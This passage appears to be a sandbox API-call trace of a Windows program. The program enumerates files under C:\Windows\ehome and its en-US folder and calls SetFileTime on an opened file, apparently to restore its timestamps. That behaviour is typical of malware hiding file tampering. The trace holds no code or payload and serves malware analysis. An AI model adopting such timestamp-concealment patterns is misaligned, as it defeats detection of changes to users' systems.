lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3281f6f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3281f6f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3281f6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehtray.exe", cAlternateFileName="")) returned 1 [0127.275] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.275] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34972b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa34972b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa34bd413, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x123e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehui.dll", cAlternateFileName="")) returned 1 [0127.275] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.275] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2ffa80a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2ffa80a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3046acb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x197600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehuihlp.dll", cAlternateFileName="")) returned 1 [0127.275] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.276] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30b8eec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa30b8eec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa30b8eec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehvid.exe", cAlternateFileName="")) returned 1 [0127.276] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.276] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c48e508, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa4b3128, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c6a471a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0127.276] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0127.276] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0127.276] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c48e508, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa4b3128, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c6a471a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x50153a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0127.278] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.278] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c48e508, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa4b3128, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c6a471a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0127.278] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.278] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.278] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="cbva.dll.mui", cAlternateFileName="")) returned 1 [0127.278] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.281] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.281] CloseHandle (hObject=0x88) returned 1 [0127.282] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehchhime.dll.mui", cAlternateFileName="")) returned 1 [0127.282] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.282] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehchsime.dll.mui", cAlternateFileName="")) returned 1 [0127.282] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.284] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehcmres.dll.mui", cAlternateFileName="")) returned 1 [0127.284] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.285] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehdebug.dll.mui", cAlternateFileName="")) returned 1 [0127.285] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.285] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehdrop.dll.mui", cAlternateFileName="")) returned 1 [0127.285] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.285] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehentt.dll.mui", cAlternateFileName="")) returned 1 [0127.285] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.285] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehepgres.dll.mui", cAlternateFileName="")) returned 1 [0127.285] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.286] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehglid.dll.mui", cAlternateFileName="")) returned 1 [0127.286] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.286] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehjpnime.dll.mui", cAlternateFileName="")) returned 1 [0127.286] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.286] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehkorime.dll.mui", cAlternateFileName="")) returned 1 [0127.287] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.287] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehmsas.exe.mui", cAlternateFileName="")) returned 1 [0127.287] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.287] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehPresenter.dll.mui", cAlternateFileName="")) returned 1 [0127.287] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.287] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehprivjob.exe.mui", cAlternateFileName="")) returned 1 [0127.288] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.288] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehrec.exe.mui", cAlternateFileName="")) returned 1 [0127.288] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.288] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehrecvr.exe.mui", cAlternateFileName="")) returned 1 [0127.288] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.289] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehres.dll.mui", cAlternateFileName="")) returned 1 [0127.289] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.289] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehsched.exe.mui", cAlternateFileName="")) returned 1 [0127.289] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.289] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehSidebarRes.dll.mui", cAlternateFileName="")) returned 1 [0127.289] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.290] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehvid.exe.mui", cAlternateFileName="")) returned 1 [0127.290] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.290] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="epgtos.txt", cAlternateFileName="")) returned 1 [0127.290] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.292] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ItvRes.dll.mui", cAlternateFileName="")) returned 1 [0127.292] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.293] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcplayer.dll.mui", cAlternateFileName="")) returned 1 [0127.293] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.293] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcupdate.exe.mui", cAlternateFileName="")) returned 1 [0127.293] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.293] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaCenterWebLauncherRes.dll.mui", cAlternateFileName="")) returned 1 [0127.293] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.294] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3932, dwReserved0=0x0, dwReserved1=0x0, cFileName="playready_eula.txt", cAlternateFileName="")) returned 1 [0127.294] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.295] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="playReady_eula_oem.txt", cAlternateFileName="")) returned 1 [0127.295] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.296] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTVConverter.exe.mui", cAlternateFileName="")) returned 1 [0127.296] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.296] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, 